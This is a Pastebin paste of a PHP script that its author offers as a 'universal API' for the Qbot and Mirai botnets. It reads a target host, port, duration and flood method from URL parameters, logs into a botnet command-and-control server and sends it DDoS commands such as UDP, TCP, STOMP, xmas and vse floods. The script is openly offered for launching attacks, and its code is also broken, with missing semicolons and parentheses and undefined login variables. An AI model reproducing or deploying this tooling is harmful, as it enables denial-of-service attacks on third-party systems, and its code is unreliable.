SHARE
TWEET

Unviseral Api For Qbot Amd Mirai

MySqlDataBases Jun 17th, 2019 (edited) 124 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. //Unviseral Api
  3. //Made for  Qbot or Mirai
  4. //You're Welcome @MySqlDatabases Created this
  5. set_time_limit(0);
  6.  
  7. //Server IP Address
  8. $serveraddress = "Ip";
  9. //CNC Port
  10. $cncport = "Port";
  11. //Cnc Login
  12. $netusername = "username";
  13. $netpassword = "password";
  14.  
  15. $activekeys = array();
  16.  
  17. $method = $_GET['type']
  18. $target = $_GET['host']
  19. $port = $_GET['port']
  20. $time = $_GET['time']
  21.  
  22. //Methods Change to Your Net Source Attack Methods//
  23. //Qbot Commands
  24. if($method == "UDP"{$command = "!* UDP $target $port $time 32 0 10";}
  25. if($method == "TCP"{$command = "!* TCP $target $port $time 32 all 0 10";}
  26. if($method == "STD"{$command = "!* STD $target $port $time";}
  27. if($method == "HEX"{$command = "!* HEX $target $port $time";}
  28. if($method == "STOMP"{$command = "!* STOMP $target $port $time 32 0 10";}
  29. if($method == "CNC"{$command = "!* CNC $target $port $time";}
  30. //Mirai Methods
  31. if($method == "udpplain"{$command = "udpplain $target $time dport=$port";}
  32. if($method == "xmas"{$command = "xmas $target $time dport=$port";}
  33. if($method == "vse"{$command = "vse $target $time dport=$port";}
  34. if($method == "std"{$command = "std $target $time dport=$port";}
  35.  
  36. $sock = fsockopen($serveraddress, $cncport, $errno, $errstr, 2);
  37.  
  38. if(!$sock){
  39.     echo"Could Not Connect To CNC Address";
  40. )else{
  41.        print(fread($sock, 1024)."\n");
  42.        fwrite($sock, $username . "\n");
  43.        echo "<br>";
  44.        print(fread($sock, 1024)."\n");
  45.        fwrite($sock, $password . "\n");
  46.        echo "<br>"
  47.        if(fread($sock, 1024)){
  48.            print(fread($sock, 1024)."\n");
  49.        }
  50.        
  51.        fwrite($sock, $command . "\n");
  52.        fclose($sock);
  53.        echo "<br>";
  54.        echo "> $command ";
  55. }
  56. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top